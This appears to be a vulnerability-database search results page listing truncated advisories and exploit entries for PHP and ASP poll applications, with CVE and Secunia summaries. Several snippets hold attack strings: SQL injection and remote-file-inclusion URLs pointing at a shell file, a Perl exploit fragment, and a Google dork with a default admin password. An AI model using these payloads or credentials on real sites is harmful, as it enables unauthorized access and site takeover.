2159 matches found
X-Scripts X-Poll Top.PHP SQL注入漏洞
X-Poll是一款基于PHP的投票程序。 X-Poll不正确处理用户提交的WEB数据，远程攻击者可以利用漏洞进行SQL注入获得敏感信息。 问题存在于'Top.PHP'脚本中，由于对用户提交的'poll'参数缺少过滤，提交恶意SQL查询作为参数数据，可更改原来的SQL逻辑，获得敏感信息。 X-Scripts X-Poll 1.10 http://members.lycos.co.uk/xscripts03/ http://www.example.com/poll/top.php?poll=' AND 0 UNION SELECT 0,...
PHP Poll Creator Relativer_PFAD远程文件包含漏洞
PHP Poll Creator是一款基于php的WEB应用程序。 PHP Poll Creator不正确过滤用户提交的URI数据，远程攻击者可以利用漏洞以WEB进程权限执行任意命令。 问题是由于多个脚本对用户提交的'RelativerPFAD'参数缺少过滤，提交恶意的远程服务器作为包含对象，可导致以WEB进程权限执行任意PHP代码。 php PC PHP Polling Creator 1.03 php PC PHP Poll Creator 1.0.1 php PC PHP Poll Creator 1.04 目前没有解决方案提供：...
phpPC 1.04 Multiples Remote File Inclusion
phpPC 1.04 Multiples Remote File Inclusion Script : PHP Poll Creator Version : 1.04 Vendor URL : http://www.phppc.de Impact : Remote File Inclusion Discovered by : iss4m Contact : [email protected] Vulnerable code in poll.php -------------------------------- ?php if $isphppcincluded != 1 include...
phpPC 1.04 - Multiple Remote File Inclusions
phpPC 1.04 - Multiple Remote File Inclusions phpPC 1.04 Multiples Remote File Inclusion Script : PHP Poll Creator Version : 1.04 Vendor URL : http://www.phppc.de Impact : Remote File Inclusion Discovered by : iss4m Contact : [email protected] Vulnerable code in poll.php...
phpPC <= 1.04 Multiple Remote File Inclusion Vulnerabilities
No description provided by source. phpPC 1.04 Multiples Remote File Inclusion Script : PHP Poll Creator Version : 1.04 Vendor URL : http://www.phppc.de Impact : Remote File Inclusion Discovered by : iss4m Contact : [email protected] Vulnerable code in poll.php -------------------------------- ?ph...
phpPC <= 1.04 Multiple Remote File Inclusion Vulnerabilities
Exploit for unknown platform in category web applications ============================================================ phpPC = 1.04 Multiple Remote File Inclusion Vulnerabilities ============================================================ phpPC 1.04 Multiples Remote File Inclusion Script : PHP...
phpPC 1.04 - Multiple Remote File Inclusions
phpPC 1.04 Multiples Remote File Inclusion Script : PHP Poll Creator Version : 1.04 Vendor URL : http://www.phppc.de Impact : Remote File Inclusion Discovered by : iss4m Contact : [email protected] Vulnerable code in poll.php -------------------------------- ?php if $isphppcincluded != 1 include...
Advanced Poll 2.0.7 Remote File Include Vulnerability
Advanced Poll Advanced Poll 2.0.7 Remote File Include Vulnerability Found by: beks Bug in booth.php captcha.php comments.php png.php www.site.com/path/booth.php?includepath=shell www.site.com/path/captcha.php?includepath=shell www.site.com/path/comments.php?includepath=shell...
ASPNuke <= 0.80 (register.asp) Remote SQL Injection Vulnerability
Title : ASPNuke = 0.80 register.asp Remote SQL Injection Vulnerability Author : ajann S.Page : http://www.aspnuke.com D.Page : http://sourceforge.net/project/showfiles.php?groupid=92470 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ ASP Nuke...
AspPired2Poll 1.0 - 'MoreInfo.asp' SQL Injection
!/usr/bin/perl Script Name: AspPired2 Poll newProto = "tcp", PeerAddr = "$server", PeerPort = "$port" || die "\n+ Connection failed...\n"; print $socket "GET $target\n"; print $socket "Host: $server\n"; print $socket "Accept: /\n"; print $socket "Connection: close\n\n"; print "+ Connected!...\n";...
PollCreator1.04.txt
PHP Poll Creator 1.04 pollvote.phpFile Include Source Code: http://www.phppc.de/download/phppc104.zip Vulnerable Code: include $relativerpfad . "layouttop.inc.php"; include $relativerpfad . "polltitelkat.inc.php"; Exploit : http://www.vicTim.com/PhpPC/pollvote.php?relativerpfad=sh3ll.txt? Discove...
PHP Poll Creator 1.04 (poll_vote.php)File Include
PHP Poll Creator 1.04 pollvote.phpFile Include Source Code: http://www.phppc.de/download/phppc104.zip Vulnerable Code: include $relativerpfad . "layouttop.inc.php"; include $relativerpfad . "polltitelkat.inc.php"; Exploit : http://www.vicTim.com/PhpPC/pollvote.php?relativerpfad=sh3ll.txt? Discove...
advancedpoll202.txt
+-------------------------------------------------------------------- + + Advanced Poll v2.02 : = Remote File Inclusion + +-------------------------------------------------------------------- + + Affected Software .: Advanced Poll v2.02 + Venedor ...........: http://www.proxy2.de + Class...
Advanced Poll v2.02 :) <= Remote File Inclusion
+-------------------------------------------------------------------- + + Advanced Poll v2.02 : = Remote File Inclusion + +-------------------------------------------------------------------- + + Affected Software .: Advanced Poll v2.02 + Venedor ...........: http://www.proxy2.de + Class...
[SA21997] Amazing Little Poll "lp_settings.inc" Password Disclosure
TITLE: Amazing Little Poll "lpsettings.inc" Password Disclosure SECUNIA ADVISORY ID: SA21997 VERIFY ADVISORY: http://secunia.com/advisories/21997/ CRITICAL: Moderately critical IMPACT: Exposure of sensitive information WHERE: From remote SOFTWARE: Amazing Little Poll 1.x...
CVE-2006-4652
1 Amazing Little Poll and 2 Amazing Little Picture Poll have a default password of "dsapoll", which allows remote attackers to create a new poll by entering default credentials via lpadmin.php...
CVE-2006-4653
The CVE-2006-4653 entry concerns two WordPress-like poll components, “Amazing Little Poll” and “Amazing Little Picture Poll,” which expose the admin password by serving the lp_settings files (lp_settings.inc or lp_settings.php) from the web root due to insufficient access control. The vulnerabili...
CVE-2006-4652
CVE-2006-4652 affects the applications Amazing Little Poll and Amazing Little Picture Poll, which ship with a default password of dsapoll. This allows remote attackers to create a new poll by submitting default credentials through lp_admin.php. The known entry provides a basic description and CVS...
CVE-2006-4652
1 Amazing Little Poll and 2 Amazing Little Picture Poll have a default password of "dsapoll", which allows remote attackers to create a new poll by entering default credentials via lpadmin.php...
The Amazing Little Poll Admin Pwd
SOFTWARE ========= The Amazing Little Poll DESCRIPTION ============ google dork = "The Amazing Little Poll" and go to admin page /lpadmin.php default password dsapoll input to login admin or add to last path /lpsettings.inc and take administrator passwd $pwd="dsapoll"; ; create a new pol...